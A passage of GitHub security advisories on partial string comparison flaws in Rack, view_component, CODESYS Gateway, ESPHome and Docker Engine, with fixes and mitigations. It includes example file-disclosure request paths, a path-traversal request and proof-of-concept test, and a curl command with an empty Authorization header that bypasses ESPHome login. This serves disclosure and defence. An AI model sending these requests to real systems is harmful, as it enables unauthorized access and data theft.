If such files exist under the configured static root, Rack forwards the request to the file server and serves them as static content.

This means a configuration intended to expose only directory trees such as /css/... and /js/... may also expose sibling files whose names begin with those same strings.

Impact

An attacker can request files under the configured static root whose names share a configured URL prefix and obtain their contents.

In affected deployments, this may expose configuration files, secrets, backups, environment files, or other unintended static content located under the same root directory.

Mitigation

  • Update to a patched version of Rack that enforces a path boundary when matching configured static URL prefixes.
  • Match only paths that are either exactly equal to the configured prefix or begin with prefix + "/".
  • Avoid placing sensitive files under the Rack::Static root directory.
  • Prefer static URL mappings that cannot overlap with sensitive filenames.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.23"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0.beta1"
            },
            {
              "fixed": "3.1.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.2.0"
            },
            {
              "fixed": "3.2.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34785"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-187",
      "CWE-200"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-02T18:44:25Z",
    "nvd_published_at": "2026-04-02T17:16:24Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`Rack::Static` determines whether a request should be served as a static file using a simple string prefix check. When configured with URL prefixes such as `\"/css\"`, it matches any request path that begins with that string, including unrelated paths such as `\"/css-config.env\"` or `\"/css-backup.sql\"`.\n\nAs a result, files under the static root whose names merely share the configured prefix may be served unintentionally, leading to information disclosure.\n\n## Details\n\n`Rack::Static#route_file` performs static-route matching using logic equivalent to:\n\n```ruby\n@urls.any? { |url| path.index(url) == 0 }\n```\n\nThis checks only whether the request path starts with the configured prefix string. It does not require a path segment boundary after the prefix.\n\nFor example, with:\n\n```ruby\nuse Rack::Static, urls: [\"/css\", \"/js\"], root: \"public\"\n```\n\nthe following path is matched as intended:\n\n```text\n/css/style.css\n```\n\nbut these paths are also matched:\n\n```text\n/css-config.env\n/css-backup.sql\n/csssecrets.yml\n```\n\nIf such files exist under the configured static root, Rack forwards the request to the file server and serves them as static content.\n\nThis means a configuration intended to expose only directory trees such as `/css/...` and `/js/...` may also expose sibling files whose names begin with those same strings.\n\n## Impact\n\nAn attacker can request files under the configured static root whose names share a configured URL prefix and obtain their contents.\n\nIn affected deployments, this may expose configuration files, secrets, backups, environment files, or other unintended static content located under the same root directory.\n\n## Mitigation\n\n* Update to a patched version of Rack that enforces a path boundary when matching configured static URL prefixes.\n* Match only paths that are either exactly equal to the configured prefix or begin with `prefix + \"/\"`.\n* Avoid placing sensitive files under the `Rack::Static` root directory.\n* Prefer static URL mappings that cannot overlap with sensitive filenames.",
  "id": "GHSA-h2jq-g4cq-5ppq",
  "modified": "2026-05-13T15:20:39Z",
  "published": "2026-04-02T18:44:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rack/rack/security/advisories/GHSA-h2jq-g4cq-5ppq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34785"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rack/rack"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rack/CVE-2026-34785.yml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Rack::Static prefix matching can expose unintended files under the static root"
}

GHSA-HG3H-G7XC-F7VP

Vulnerability from github – Published: 2026-05-08 23:33 – Updated: 2026-06-08 23:34
VLAI
Summary
view_component: System Test Entry Point Path Check Allows Sibling Directory Escape
Details

Summary

The system test entrypoint canonicalizes a user-controlled file path with File.realpath, then checks whether the resolved path starts with the temp directory path. This is not a safe containment check because sibling directories can share the same string prefix.

Severity: Medium; test-route scoped.

Example:

Allowed base:  /app/tmp/view_components
Outside path:  /app/tmp/view_components_evil/secret.html.erb

The outside path is not inside the base directory, but it passes:

@path.start_with?(base_path)

Relevant Code

app/controllers/view_components_system_test_controller.rb:

base_path = ::File.realpath(self.class.temp_dir)
@path = ::File.realpath(params.permit(:file)[:file], base_path)
raise ViewComponent::SystemTestControllerNefariousPathError unless @path.start_with?(base_path)

The route then renders the resolved file:

render file: @path

Exploit Flow

Example request:

GET /_system_test_entrypoint?file=../view_components_evil/secret.html.erb

Flow:

  1. base_path resolves to .../tmp/view_components.
  2. The payload resolves to .../tmp/view_components_evil/secret.html.erb.
  3. That path is outside the intended temp directory.
  4. The string prefix check still passes.
  5. Rails renders the sibling file.

The route is mounted only in Rails.env.test?, which is why Medium is more appropriate than P1. The issue matters if test routes are reachable in shared CI, staging, review apps, or any accidentally exposed test-mode deployment.

Targeted Fuzz Result

The following sibling paths passed an equivalent realpath plus start_with? harness while resolving outside the base directory:

../view_components_evil/secret.html
../view_components2/poc.html
../view_components.bak/poc.html
../view_components-old/poc.html
../view_componentsx/poc.html

PoC Test

Create test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb:

# frozen_string_literal: true

require "test_helper"
require "fileutils"

class SystemTestEntrypointPathTraversalPocTest < ActionDispatch::IntegrationTest
  def test_system_test_entrypoint_allows_sibling_directory_with_same_prefix
    base_dir = File.realpath(ViewComponentsSystemTestController.temp_dir)
    parent_dir = File.dirname(base_dir)
    sibling_dir = File.join(parent_dir, "#{File.basename(base_dir)}_evil")
    outside_file = File.join(sibling_dir, "secret.html.erb")

    FileUtils.mkdir_p(sibling_dir)
    File.write(outside_file, "<div>VC_SYSTEM_TEST_TRAVERSAL_POC</div>")

    get "/_system_test_entrypoint", params: {
      file: "../#{File.basename(base_dir)}_evil/secret.html.erb"
    }

    assert_response :success
    assert_includes response.body, "VC_SYSTEM_TEST_TRAVERSAL_POC"
  ensure
    FileUtils.rm_f(outside_file) if defined?(outside_file) && outside_file
    Dir.rmdir(sibling_dir) if defined?(sibling_dir) && sibling_dir && Dir.exist?(sibling_dir)
  end
end

Run:

bundle exec ruby -Itest test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb

Vulnerable behavior: the response succeeds and contains VC_SYSTEM_TEST_TRAVERSAL_POC.

Fixed behavior: the request raises ViewComponent::SystemTestControllerNefariousPathError or otherwise fails without rendering the file.

Suggested Fix

Use path-aware containment instead of a raw string prefix. For example:

def validate_file_path
  base_path = Pathname.new(::File.realpath(self.class.temp_dir))
  path = Pathname.new(::File.realpath(params.permit(:file)[:file], base_path.to_s))
  relative_path = path.relative_path_from(base_path)

  raise ViewComponent::SystemTestControllerNefariousPathError if relative_path.each_filename.first == ".."

  @path = path.to_s
end

Or require a separator boundary:

allowed_prefix = "#{base_path}#{File::SEPARATOR}"
unless @path == base_path || @path.start_with?(allowed_prefix)
  raise ViewComponent::SystemTestControllerNefariousPathError
end

Add regression tests for:

  • A normal temp file inside tmp/view_components
  • ../../README.md
  • ../view_components_evil/secret.html.erb
  • A symlink inside the temp directory that resolves outside it
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "view_component"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "4.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44837"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-187",
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T23:33:58Z",
    "nvd_published_at": "2026-05-26T21:16:38Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe system test entrypoint canonicalizes a user-controlled file path with `File.realpath`, then checks whether the resolved path starts with the temp directory path. This is not a safe containment check because sibling directories can share the same string prefix.\n\nSeverity: Medium; test-route scoped.\n\nExample:\n\n```text\nAllowed base:  /app/tmp/view_components\nOutside path:  /app/tmp/view_components_evil/secret.html.erb\n```\n\nThe outside path is not inside the base directory, but it passes:\n\n```ruby\n@path.start_with?(base_path)\n```\n\n### Relevant Code\n\n`app/controllers/view_components_system_test_controller.rb`:\n\n```ruby\nbase_path = ::File.realpath(self.class.temp_dir)\n@path = ::File.realpath(params.permit(:file)[:file], base_path)\nraise ViewComponent::SystemTestControllerNefariousPathError unless @path.start_with?(base_path)\n```\n\nThe route then renders the resolved file:\n\n```ruby\nrender file: @path\n```\n\n### Exploit Flow\n\nExample request:\n\n```text\nGET /_system_test_entrypoint?file=../view_components_evil/secret.html.erb\n```\n\nFlow:\n\n1. `base_path` resolves to `.../tmp/view_components`.\n2. The payload resolves to `.../tmp/view_components_evil/secret.html.erb`.\n3. That path is outside the intended temp directory.\n4. The string prefix check still passes.\n5. Rails renders the sibling file.\n\nThe route is mounted only in `Rails.env.test?`, which is why Medium is more appropriate than P1. The issue matters if test routes are reachable in shared CI, staging, review apps, or any accidentally exposed test-mode deployment.\n\n### Targeted Fuzz Result\n\nThe following sibling paths passed an equivalent `realpath` plus `start_with?` harness while resolving outside the base directory:\n\n```text\n../view_components_evil/secret.html\n../view_components2/poc.html\n../view_components.bak/poc.html\n../view_components-old/poc.html\n../view_componentsx/poc.html\n```\n\n### PoC Test\n\nCreate `test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb`:\n\n```ruby\n# frozen_string_literal: true\n\nrequire \"test_helper\"\nrequire \"fileutils\"\n\nclass SystemTestEntrypointPathTraversalPocTest \u003c ActionDispatch::IntegrationTest\n  def test_system_test_entrypoint_allows_sibling_directory_with_same_prefix\n    base_dir = File.realpath(ViewComponentsSystemTestController.temp_dir)\n    parent_dir = File.dirname(base_dir)\n    sibling_dir = File.join(parent_dir, \"#{File.basename(base_dir)}_evil\")\n    outside_file = File.join(sibling_dir, \"secret.html.erb\")\n\n    FileUtils.mkdir_p(sibling_dir)\n    File.write(outside_file, \"\u003cdiv\u003eVC_SYSTEM_TEST_TRAVERSAL_POC\u003c/div\u003e\")\n\n    get \"/_system_test_entrypoint\", params: {\n      file: \"../#{File.basename(base_dir)}_evil/secret.html.erb\"\n    }\n\n    assert_response :success\n    assert_includes response.body, \"VC_SYSTEM_TEST_TRAVERSAL_POC\"\n  ensure\n    FileUtils.rm_f(outside_file) if defined?(outside_file) \u0026\u0026 outside_file\n    Dir.rmdir(sibling_dir) if defined?(sibling_dir) \u0026\u0026 sibling_dir \u0026\u0026 Dir.exist?(sibling_dir)\n  end\nend\n```\n\nRun:\n\n```bash\nbundle exec ruby -Itest test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb\n```\n\nVulnerable behavior: the response succeeds and contains `VC_SYSTEM_TEST_TRAVERSAL_POC`.\n\nFixed behavior: the request raises `ViewComponent::SystemTestControllerNefariousPathError` or otherwise fails without rendering the file.\n\n### Suggested Fix\n\nUse path-aware containment instead of a raw string prefix. For example:\n\n```ruby\ndef validate_file_path\n  base_path = Pathname.new(::File.realpath(self.class.temp_dir))\n  path = Pathname.new(::File.realpath(params.permit(:file)[:file], base_path.to_s))\n  relative_path = path.relative_path_from(base_path)\n\n  raise ViewComponent::SystemTestControllerNefariousPathError if relative_path.each_filename.first == \"..\"\n\n  @path = path.to_s\nend\n```\n\nOr require a separator boundary:\n\n```ruby\nallowed_prefix = \"#{base_path}#{File::SEPARATOR}\"\nunless @path == base_path || @path.start_with?(allowed_prefix)\n  raise ViewComponent::SystemTestControllerNefariousPathError\nend\n```\n\nAdd regression tests for:\n\n- A normal temp file inside `tmp/view_components`\n- `../../README.md`\n- `../view_components_evil/secret.html.erb`\n- A symlink inside the temp directory that resolves outside it",
  "id": "GHSA-hg3h-g7xc-f7vp",
  "modified": "2026-06-08T23:34:32Z",
  "published": "2026-05-08T23:33:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ViewComponent/view_component/security/advisories/GHSA-hg3h-g7xc-f7vp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44837"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ViewComponent/view_component"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/view_component/CVE-2026-44837.yml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "view_component: System Test Entry Point Path Check Allows Sibling Directory Escape"
}

GHSA-JP8V-M2CX-Q392

Vulnerability from github – Published: 2022-06-25 00:01 – Updated: 2022-06-25 00:01
VLAI
Details

In CODESYS Gateway Server V2 for versions prior to V2.3.9.38 only a part of the the specified password is been compared to the real CODESYS Gateway password. An attacker may perform authentication by specifying a small password that matches the corresponding part of the longer real CODESYS Gateway password.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-31802"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-187"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-24T08:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "In CODESYS Gateway Server V2 for versions prior to V2.3.9.38 only a part of the the specified password is been compared to the real CODESYS Gateway password. An attacker may perform authentication by specifying a small password that matches the corresponding part of the longer real CODESYS Gateway password.",
  "id": "GHSA-jp8v-m2cx-q392",
  "modified": "2022-06-25T00:01:01Z",
  "published": "2022-06-25T00:01:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31802"
    },
    {
      "type": "WEB",
      "url": "https://customers.codesys.com/index.php?eID=dumpFile\u0026t=f\u0026f=17141\u0026token=17867e35cfd30c77ba0137f9a17b3a557a4b7b66\u0026download="
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MXH2-CCGJ-8635

Vulnerability from github – Published: 2025-09-02 16:46 – Updated: 2025-09-02 16:46
VLAI
Summary
ESP-IDF web_server basic auth bypass using empty or incomplete Authorization header
Details

Summary

On the ESP-IDF platform, ESPHome's web_server authentication check can pass incorrectly when the client-supplied base64-encoded Authorization value is empty or is a substring of the correct value (e.g., correct username with partial password). This allows access to web_server functionality (including OTA, if enabled) without knowing any information about the correct username or password.

Details

The HTTP basic auth check in web_server_idf's AsyncWebServerRequest::authenticate only compares up to auth.value().size() - auth_prefix_len bytes of the base64-encoded user:pass string. This means a client-provided valuer like dXNlcjpz (user:s) will pass the check when the correct value is much longer, e.g., dXNlcjpzb21lcmVhbGx5bG9uZ3Bhc3M= (user:somereallylongpass).

Furthermore, the check will also pass when the supplied value is the empty string, which removes the need to know (or brute force) the username. A browser won't generally issue such a request, but it can easily be done by manually constructing the Authorizaztion request header (e.g., via curl).

PoC

Configure ESPHome as follows:

esp32:
  board: ...
  framework:
    type: esp-idf
web_server:
  auth:
    username: user
    password: somereallylongpass

In a browser, you can correctly log in by supplying username user and password somereallylongpass... but you can also incorrectly log in by supplying substrings of the password whose base64-encoded digest matches a prefix of the correct digest. (For example, I was able to log into an ESPHome device so configured by supplying password some... or even just s.)

You can also use a tool like curl to manually set an Authorization request header that always passes the check without any knowledge of the username:

$ curl -D- http://example.local/
HTTP/1.1 401 Unauthorized
...

$ curl -D- -H 'Authorization: Basic ' http://example.local/
HTTP/1.1 200 OK
...

Impact

This vulnerability effectively nullifies basic auth support for the ESP-IDF web_server, allowing auth bypass from another device on the local network with no knowledge of the correct username or password required.

Remediation

This vulnerability is fixed in 2025.8.1 and later.

For older versions, disabling the web_server component on ESP-IDF devices may be prudent, particularly if OTA updates through web_server are enabled.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2025.8.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "esphome"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2025.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-57808"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-187",
      "CWE-303"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-02T16:46:58Z",
    "nvd_published_at": "2025-09-02T01:15:29Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nOn the ESP-IDF platform, ESPHome\u0027s [`web_server` authentication](https://esphome.io/components/web_server.html#configuration-variables) check can pass incorrectly when the client-supplied base64-encoded `Authorization` value is empty or is a substring of the correct value (e.g., correct username with partial password). This allows access to `web_server` functionality (including OTA, if enabled) without knowing any information about the correct username or password.\n\n### Details\nThe HTTP basic auth check in `web_server_idf`\u0027s [`AsyncWebServerRequest::authenticate`](https://github.com/esphome/esphome/blob/ef2121a215890d46dc1d25ad363611ecadc9e25e/esphome/components/web_server_idf/web_server_idf.cpp#L256) only compares up to `auth.value().size() - auth_prefix_len` bytes of the base64-encoded `user:pass` string. This means a client-provided valuer like `dXNlcjpz` (`user:s`) will pass the check when the correct value is much longer, e.g., `dXNlcjpzb21lcmVhbGx5bG9uZ3Bhc3M=` (`user:somereallylongpass`).\n\nFurthermore, the check will also pass when the supplied value is the empty string, which removes the need to know (or brute force) the username. A browser won\u0027t generally issue such a request, but it can easily be done by manually constructing the `Authorizaztion` request header (e.g., via `curl`).\n\n### PoC\nConfigure ESPHome as follows:\n\n```yaml\nesp32:\n  board: ...\n  framework:\n    type: esp-idf\nweb_server:\n  auth:\n    username: user\n    password: somereallylongpass\n```\n\nIn a browser, you can correctly log in by supplying username `user` and password `somereallylongpass`... but you can _also_ incorrectly log in by supplying _substrings_ of the password whose base64-encoded digest matches a _prefix_ of the correct digest. (For example, I was able to log into an ESPHome device so configured by supplying password `some`... or even just `s`.)\n\nYou can also use a tool like `curl` to manually set an `Authorization` request header that _always_ passes the check without any knowledge of the username:\n\n```\n$ curl -D- http://example.local/\nHTTP/1.1 401 Unauthorized\n...\n\n$ curl -D- -H \u0027Authorization: Basic \u0027 http://example.local/\nHTTP/1.1 200 OK\n...\n```\n\n### Impact\nThis vulnerability effectively nullifies basic auth support for the ESP-IDF `web_server`, allowing auth bypass from another device on the local network with no knowledge of the correct username or password required.\n\n### Remediation\nThis vulnerability is fixed in 2025.8.1 and later.\n\nFor older versions, disabling the `web_server` component on ESP-IDF devices may be prudent, particularly if OTA updates through `web_server` are enabled.",
  "id": "GHSA-mxh2-ccgj-8635",
  "modified": "2025-09-02T16:46:58Z",
  "published": "2025-09-02T16:46:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/esphome/esphome/security/advisories/GHSA-mxh2-ccgj-8635"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57808"
    },
    {
      "type": "WEB",
      "url": "https://github.com/esphome/esphome/commit/2aceb56606ec8afec5f49c92e140c8050a6ccbe5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/esphome/esphome"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ESP-IDF web_server basic auth bypass using empty or incomplete Authorization header"
}

GHSA-V23V-6JW2-98FQ

Vulnerability from github – Published: 2024-07-30 10:18 – Updated: 2024-08-09 19:07
VLAI
Summary
Authz zero length regression
Details

A security vulnerability has been detected in certain versions of Docker Engine, which could allow an attacker to bypass authorization plugins (AuthZ) under specific circumstances. The base likelihood of this being exploited is low. This advisory outlines the issue, identifies the affected versions, and provides remediation steps for impacted users.

Impact

Using a specially-crafted API request, an Engine API client could make the daemon forward the request or response to an authorization plugin without the body. In certain circumstances, the authorization plugin may allow a request which it would have otherwise denied if the body had been forwarded to it.

A security issue was discovered In 2018, where an attacker could bypass AuthZ plugins using a specially crafted API request. This could lead to unauthorized actions, including privilege escalation. Although this issue was fixed in Docker Engine v18.09.1 in January 2019, the fix was not carried forward to later major versions, resulting in a regression. Anyone who depends on authorization plugins that introspect the request and/or response body to make access control decisions is potentially impacted.

Docker EE v19.03.x and all versions of Mirantis Container Runtime are not vulnerable.

Vulnerability details

  • AuthZ bypass and privilege escalation: An attacker could exploit a bypass using an API request with Content-Length set to 0, causing the Docker daemon to forward the request without the body to the AuthZ plugin, which might approve the request incorrectly.
  • Initial fix: The issue was fixed in Docker Engine v18.09.1 January 2019..
  • Regression: The fix was not included in Docker Engine v19.03 or newer versions. This was identified in April 2024 and patches were released for the affected versions on July 23, 2024. The issue was assigned CVE-2024-41110.

Patches

  • docker-ce v27.1.1 containes patches to fix the vulnerability.
  • Patches have also been merged into the master, 19.0, 20.0, 23.0, 24.0, 25.0, 26.0, and 26.1 release branches.

Remediation steps

  • If you are running an affected version, update to the most recent patched version.
  • Mitigation if unable to update immediately:
    • Avoid using AuthZ plugins.
    • Restrict access to the Docker API to trusted parties, following the principle of least privilege.

References

  • https://github.com/moby/moby/commit/fc274cd2ff4cf3b48c91697fb327dd1fb95588fb
  • https://github.com/moby/moby/commit/a79fabbfe84117696a19671f4aa88b82d0f64fc1
  • https://www.docker.com/blog/docker-security-advisory-docker-engine-authz-plugin/
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/docker/docker"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "19.03.0"
            },
            {
              "fixed": "23.0.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/docker/docker"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "26.0.0"
            },
            {
              "fixed": "26.1.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/docker/docker"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "27.0.0"
            },
            {
              "fixed": "27.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/docker/docker"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "24.0.0"
            },
            {
              "fixed": "25.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-41110"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-187"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-07-30T10:18:57Z",
    "nvd_published_at": "2024-07-24T17:15:11Z",
    "severity": "CRITICAL"
  },
  "details": "A security vulnerability has been detected in certain versions of Docker Engine, which could allow an attacker to bypass [authorization plugins (AuthZ)](https://docs.docker.com/engine/extend/plugins_authorization/) under specific circumstances. The base likelihood of this being exploited is low. This advisory outlines the issue, identifies the affected versions, and provides remediation steps for impacted users.\n\n### Impact\n\nUsing a specially-crafted API request, an Engine API client could make the daemon forward the request or response to an [authorization plugin](https://docs.docker.com/engine/extend/plugins_authorization/) without the body. In certain circumstances, the authorization plugin may allow a request which it would have otherwise denied if the body had been forwarded to it.\n\n\nA security issue was discovered In 2018,  where an attacker could bypass AuthZ plugins using a specially crafted API request. This could lead to unauthorized actions, including privilege escalation. Although this issue was fixed in Docker Engine [v18.09.1](https://docs.docker.com/engine/release-notes/18.09/#security-fixes-1) in January 2019, the fix was not carried forward to later major versions, resulting in a regression. Anyone who depends on authorization plugins that introspect the request and/or response body to make access control decisions is potentially impacted.\n\nDocker EE v19.03.x and all versions of Mirantis Container Runtime **are not vulnerable.**\n\n### Vulnerability details\n\n- **AuthZ bypass and privilege escalation:** An attacker could exploit a bypass using an API request with Content-Length set to 0, causing the Docker daemon to forward the request without the body to the AuthZ plugin, which might approve the request incorrectly.\n- **Initial fix:** The issue was fixed in Docker Engine [v18.09.1](https://docs.docker.com/engine/release-notes/18.09/#security-fixes-1) January 2019..\n- **Regression:** The fix was not included in Docker Engine v19.03 or newer versions. This was identified in April 2024 and patches were released for the affected versions on July 23, 2024. The issue was assigned [CVE-2024-41110](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-41110).\n\n### Patches\n\n- docker-ce v27.1.1 containes patches to fix the vulnerability.\n- Patches have also been merged into the master, 19.0, 20.0, 23.0, 24.0, 25.0, 26.0, and 26.1 release branches.\n\n### Remediation steps\n\n- If you are running an affected version, update to the most recent patched version.\n- Mitigation if unable to update immediately:\n    - Avoid using AuthZ plugins.\n    - Restrict access to the Docker API to trusted parties, following the principle of least privilege.\n\n\n### References\n\n- https://github.com/moby/moby/commit/fc274cd2ff4cf3b48c91697fb327dd1fb95588fb\n- https://github.com/moby/moby/commit/a79fabbfe84117696a19671f4aa88b82d0f64fc1\n- https://www.docker.com/blog/docker-security-advisory-docker-engine-authz-plugin/",
  "id": "GHSA-v23v-6jw2-98fq",
  "modified": "2024-08-09T19:07:47Z",
  "published": "2024-07-30T10:18:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/moby/moby/security/advisories/GHSA-v23v-6jw2-98fq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41110"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moby/moby/commit/411e817ddf710ff8e08fa193da80cb78af708191"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moby/moby/commit/42f40b1d6dd7562342f832b9cd2adf9e668eeb76"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moby/moby/commit/65cc597cea28cdc25bea3b8a86384b4251872919"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moby/moby/commit/852759a7df454cbf88db4e954c919becd48faa9b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moby/moby/commit/a31260625655cff9ae226b51757915e275e304b0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moby/moby/commit/a79fabbfe84117696a19671f4aa88b82d0f64fc1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moby/moby/commit/ae160b4edddb72ef4bd71f66b975a1a1cc434f00"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moby/moby/commit/ae2b3666c517c96cbc2adf1af5591a6b00d4ec0f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moby/moby/commit/cc13f952511154a2866bddbb7dddebfe9e83b801"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moby/moby/commit/fc274cd2ff4cf3b48c91697fb327dd1fb95588fb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/moby/moby"
    },
    {
      "type": "WEB",
      "url": "https://www.docker.com/blog/docker-security-advisory-docker-engine-authz-plugin"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Authz zero length regression"
}

GHSA-V6HV-2P8R-43V4

Vulnerability from github – Published: 2026-07-05 03:32 – Updated: 2026-07-05 03:32
VLAI
Details

A vulnerability was determined in 666ghj BettaFish up to 1.2.1. Impacted is the function _deduplicate_results of the file InsightEngine/agent.py of the component InsightEngine search-result Deduplication. Executing a manipulation can lead to partial string comparison. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. The pull request to fix this issue awaits acceptance.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-14687"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-187"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-05T01:21:57Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was determined in 666ghj BettaFish up to 1.2.1. Impacted is the function _deduplicate_results of the file InsightEngine/agent.py of the component InsightEngine search-result Deduplication. Executing a manipulation can lead to partial string comparison. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. The pull request to fix this issue awaits acceptance.",
  "id": "GHSA-v6hv-2p8r-43v4",
  "modified": "2026-07-05T03:32:33Z",
  "published": "2026-07-05T03:32:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-14687"
    },
    {
      "type": "WEB",
      "url": "https://github.com/666ghj/BettaFish/issues/688"
    },
    {
      "type": "WEB",
      "url": "https://github.com/666ghj/BettaFish/pull/689"
    },
    {
      "type": "WEB",
      "url": "https://github.com/666ghj/BettaFish"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-14687"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/846753"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/376283"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/376283/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
